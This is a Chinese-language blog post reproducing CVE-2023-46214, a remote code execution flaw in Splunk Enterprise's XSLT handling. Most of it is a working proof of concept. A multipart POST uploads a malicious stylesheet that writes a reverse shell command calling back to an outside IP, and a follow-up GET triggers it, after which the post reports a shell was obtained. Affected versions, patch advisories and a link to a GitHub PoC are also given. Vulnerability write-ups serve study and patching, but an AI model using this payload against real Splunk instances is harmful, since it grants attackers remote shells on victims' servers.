Splunk Enterprise XML Parsing 远程代码执行漏洞 (CVE-2023-46214)
0x00写在前面
本次测试仅供学习使用,如若非法他用,与本平台和发布者无关,需自行负责!
0x01漏洞介绍
Splunk是美国Splunk公司的一套数据收集分析软件。该软件主要用于收集、索引和分析及其所产生的数据,包括所有IT系统和基础结构(物理、虚拟机和云)生成的数据。
Splunk Enterprise 9.0.0 到 9.0.6 版本、9.1.0到9.1.1版本存在安全漏洞,该漏洞源于不会安全地清理用户提供的可扩展样式表语言转换 (XSLT),攻击者利用该漏洞可以上传恶意 XSLT,从而在 Splunk Enterprise 实例上远程执行代码。
0x02影响版本
9.0.0 <= Splunk Enterprise <= 9.0.6
9.1.0 <= Splunk Enterprise <= 9.1.1
Splunk Cloud < 9.1.2308
注:利用条件
具有上传权限;Splunk 未在 SHC 模式下运行
0x03漏洞复现
1.访问漏洞环境
2.对漏洞进行复现
POC (POST)
漏洞复现
POST /en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl HTTP/1.1
Host: 10.211.55.3:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept-Encoding: gzip, deflate
Accept: text/javascript, text/html, application/xml, text/xml, */*
Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Splunk-Form-Key: 14405369367646981099
Cookie: session_id_8000=a74248449dd62e179dd17c05239d79708108da5f; splunkd_8000=O8DQPrZvhze8hbm7y^q^hgThhqSnx5RNXWEw7FU1lUbFUKO03x5n_DiqI0^m36KB2MZvtQxQpR^kgDUHFbcrxW4avet7juFQKvzaRbBDgARHZiZFqNiLaByswQCKCHIYmC; splunkweb_csrf_token_8000=14405369367646981099
Content-Length: 620
Content-Type: multipart/form-data; boundary=3d5f09288540918f033268ff6bceb049
--3d5f09288540918f033268ff6bceb049
Content-Disposition: form-data; name="spl-file"; filename="shell.xsl"
Content-Type: application/xslt+xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="/opt/splunk/bin/scripts/shell.sh" method="text">
<xsl:text>sh -i >& /dev/tcp/8.8.8.8/12388 0>&1</xsl:text>
</exsl:document>
</xsl:template>
</xsl:stylesheet>
--3d5f09288540918f033268ff6bceb049--
上传xsl文件成功
解析文件
GET /en-US/api/search/jobs/1700617012.37/results?xsl=/opt/splunk/var/run/splunk/dispatch/1700617012.36/shell.xsl HTTP/1.1
Host: 10.211.55.3:8000
User-Agent: python-requests/2.31.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Cookie: session_id_8000=a74248449dd62e179dd17c05239d79708108da5f; splunkd_8000=O8DQPrZvhze8hbm7y^q^hgThhqSnx5RNXWEw7FU1lUbFUKO03x5n_DiqI0^m36KB2MZvtQxQpR^kgDUHFbcrxW4avet7juFQKvzaRbBDgARHZiZFqNiLaByswQCKCHIYmC; splunkweb_csrf_token_8000=14405369367646981099
3.成功反弹shell
3.python脚本测试(漏洞存在)
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
https://advisory.splunk.com/advisories/SVD-2023-1104
https://github.com/nathan31337/Splunk-RCE-poc
本文是原创文章,采用 CC BY-NC-ND 4.0 协议,完整转载请注明来自 程序员小航
评论
匿名评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果